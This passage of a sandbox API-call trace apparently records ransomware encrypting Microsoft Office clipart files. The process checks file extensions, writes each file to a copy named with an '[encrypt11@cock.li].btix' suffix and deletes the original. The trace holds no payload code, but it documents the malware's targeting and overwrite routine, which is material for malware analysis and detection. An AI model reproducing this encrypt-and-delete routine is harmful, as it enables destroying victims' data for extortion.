lpString2=".WMF") returned 1 [0158.719] lstrlenW (lpString=".xlsx") returned 5 [0158.719] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0158.719] lstrlenW (lpString=".ppt") returned 4 [0158.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF") returned 68 [0158.719] lstrlenW (lpString=".zip") returned 4 [0158.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.719] lstrlenW (lpString=".rar") returned 4 [0158.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.719] lstrlenW (lpString=".bz2") returned 4 [0158.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.719] lstrlenW (lpString=".7z") returned 3 [0158.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF") returned 68 [0158.719] lstrlenW (lpString=".dbf") returned 4 [0158.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF") returned 68 [0158.719] lstrlenW (lpString=".1cd") returned 4 [0158.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF") returned 68 [0158.719] lstrlenW (lpString=".jpg") returned 4 [0158.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.719] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.720] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.720] GetLastError () returned 0x0 [0158.720] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x24e2, lpOverlapped=0x0) returned 1 [0158.722] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x24f0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x24f0, lpOverlapped=0x0) returned 1 [0158.723] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.723] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.723] SetEndOfFile (hFile=0x368) returned 1 [0158.723] CloseHandle (hObject=0x368) returned 1 [0158.723] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.723] SetEndOfFile (hFile=0x39c) returned 1 [0158.724] CloseHandle (hObject=0x39c) returned 1 [0158.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf")) returned 1 [0158.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0158.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0158.725] lstrlenW (lpString=".doc") returned 4 [0158.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.725] lstrlenW (lpString=".docx") returned 5 [0158.725] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0158.725] lstrlenW (lpString=".pdf") returned 4 [0158.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.725] lstrlenW (lpString=".xls") returned 4 [0158.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.725] lstrlenW (lpString=".xlsx") returned 5 [0158.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0158.725] lstrlenW (lpString=".ppt") returned 4 [0158.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0158.725] lstrlenW (lpString=".zip") returned 4 [0158.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.725] lstrlenW (lpString=".rar") returned 4 [0158.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.726] lstrlenW (lpString=".bz2") returned 4 [0158.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.726] lstrlenW (lpString=".7z") returned 3 [0158.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0158.726] lstrlenW (lpString=".dbf") returned 4 [0158.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0158.726] lstrlenW (lpString=".1cd") returned 4 [0158.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF") returned 68 [0158.726] lstrlenW (lpString=".jpg") returned 4 [0158.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.727] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.727] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.728] GetLastError () returned 0x0 [0158.728] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x9b3a, lpOverlapped=0x0) returned 1 [0158.945] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x9b40, lpOverlapped=0x0) returned 1 [0158.946] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.946] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.946] SetEndOfFile (hFile=0x368) returned 1 [0159.006] CloseHandle (hObject=0x368) returned 1 [0159.071] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.110] SetEndOfFile (hFile=0x39c) returned 1 [0159.111] CloseHandle (hObject=0x39c) returned 1 [0159.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf")) returned 1 [0159.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0159.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0159.128] lstrlenW (lpString=".doc") returned 4 [0159.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.128] lstrlenW (lpString=".docx") returned 5 [0159.128] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0159.128] lstrlenW (lpString=".pdf") returned 4 [0159.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.135] lstrlenW (lpString=".xls") returned 4 [0159.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.135] lstrlenW (lpString=".xlsx") returned 5 [0159.135] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0159.135] lstrlenW (lpString=".ppt") returned 4 [0159.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0159.135] lstrlenW (lpString=".zip") returned 4 [0159.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.135] lstrlenW (lpString=".rar") returned 4 [0159.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.135] lstrlenW (lpString=".bz2") returned 4 [0159.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.135] lstrlenW (lpString=".7z") returned 3 [0159.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0159.136] lstrlenW (lpString=".dbf") returned 4 [0159.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0159.136] lstrlenW (lpString=".1cd") returned 4 [0159.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0159.136] lstrlenW (lpString=".jpg") returned 4 [0159.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.139] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.139] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.140] GetLastError () returned 0x0 [0159.140] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x312c, lpOverlapped=0x0) returned 1 [0159.150] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3130, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3130, lpOverlapped=0x0) returned 1 [0159.151] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.151] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.151] SetEndOfFile (hFile=0x3a0) returned 1 [0159.151] CloseHandle (hObject=0x3a0) returned 1 [0159.151] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.151] SetEndOfFile (hFile=0x36c) returned 1 [0159.152] CloseHandle (hObject=0x36c) returned 1 [0159.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf")) returned 1 [0159.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0159.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0159.153] lstrlenW (lpString=".doc") returned 4 [0159.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.153] lstrlenW (lpString=".docx") returned 5 [0159.153] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.153] lstrlenW (lpString=".pdf") returned 4 [0159.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.153] lstrlenW (lpString=".xls") returned 4 [0159.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.153] lstrlenW (lpString=".xlsx") returned 5 [0159.153] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.153] lstrlenW (lpString=".ppt") returned 4 [0159.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0159.153] lstrlenW (lpString=".zip") returned 4 [0159.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.153] lstrlenW (lpString=".rar") returned 4 [0159.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.154] lstrlenW (lpString=".bz2") returned 4 [0159.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.154] lstrlenW (lpString=".7z") returned 3 [0159.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0159.154] lstrlenW (lpString=".dbf") returned 4 [0159.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0159.154] lstrlenW (lpString=".1cd") returned 4 [0159.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0159.154] lstrlenW (lpString=".jpg") returned 4 [0159.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.155] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.155] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.156] GetLastError () returned 0x0 [0159.156] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x975e, lpOverlapped=0x0) returned 1 [0159.166] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x9760, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x9760, lpOverlapped=0x0) returned 1 [0159.169] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.169] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.169] SetEndOfFile (hFile=0x3a0) returned 1 [0159.169] CloseHandle (hObject=0x3a0) returned 1 [0159.169] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.170] SetEndOfFile (hFile=0x36c) returned 1 [0159.170] CloseHandle (hObject=0x36c) returned 1 [0159.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233992.wmf")) returned 1 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF") returned 68 [0159.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF") returned 68 [0159.172] lstrlenW (lpString=".doc") returned 4 [0159.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString=".docx") returned 5 [0159.173] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.173] lstrlenW (lpString=".pdf") returned 4 [0159.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString=".xls") returned 4 [0159.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.173] lstrlenW (lpString=".xlsx") returned 5 [0159.173] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.173] lstrlenW (lpString=".ppt") returned 4 [0159.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF") returned 68 [0159.173] lstrlenW (lpString=".zip") returned 4 [0159.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.173] lstrlenW (lpString=".rar") returned 4 [0159.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString=".bz2") returned 4 [0159.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString=".7z") returned 3 [0159.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF") returned 68 [0159.173] lstrlenW (lpString=".dbf") returned 4 [0159.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF") returned 68 [0159.173] lstrlenW (lpString=".1cd") returned 4 [0159.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233992.WMF") returned 68 [0159.173] lstrlenW (lpString=".jpg") returned 4 [0159.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.176] GetLastError () returned 0x0 [0159.176] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xcec6, lpOverlapped=0x0) returned 1 [0159.179] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xced0, lpOverlapped=0x0) returned 1 [0159.181] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.181] WriteFile (in: hFile=0x348, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.181] SetEndOfFile (hFile=0x348) returned 1 [0159.181] CloseHandle (hObject=0x348) returned 1 [0159.181] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.181] SetEndOfFile (hFile=0x3a0) returned 1 [0159.182] CloseHandle (hObject=0x3a0) returned 1 [0159.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234000.wmf")) returned 1 [0159.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0159.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0159.183] lstrlenW (lpString=".doc") returned 4 [0159.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.183] lstrlenW (lpString=".docx") returned 5 [0159.183] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.183] lstrlenW (lpString=".pdf") returned 4 [0159.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.183] lstrlenW (lpString=".xls") returned 4 [0159.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.184] lstrlenW (lpString=".xlsx") returned 5 [0159.184] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.184] lstrlenW (lpString=".ppt") returned 4 [0159.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0159.184] lstrlenW (lpString=".zip") returned 4 [0159.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.184] lstrlenW (lpString=".rar") returned 4 [0159.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.184] lstrlenW (lpString=".bz2") returned 4 [0159.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.184] lstrlenW (lpString=".7z") returned 3 [0159.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0159.184] lstrlenW (lpString=".dbf") returned 4 [0159.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0159.184] lstrlenW (lpString=".1cd") returned 4 [0159.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234000.WMF") returned 68 [0159.184] lstrlenW (lpString=".jpg") returned 4 [0159.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.200] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.200] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234001.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234001.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, 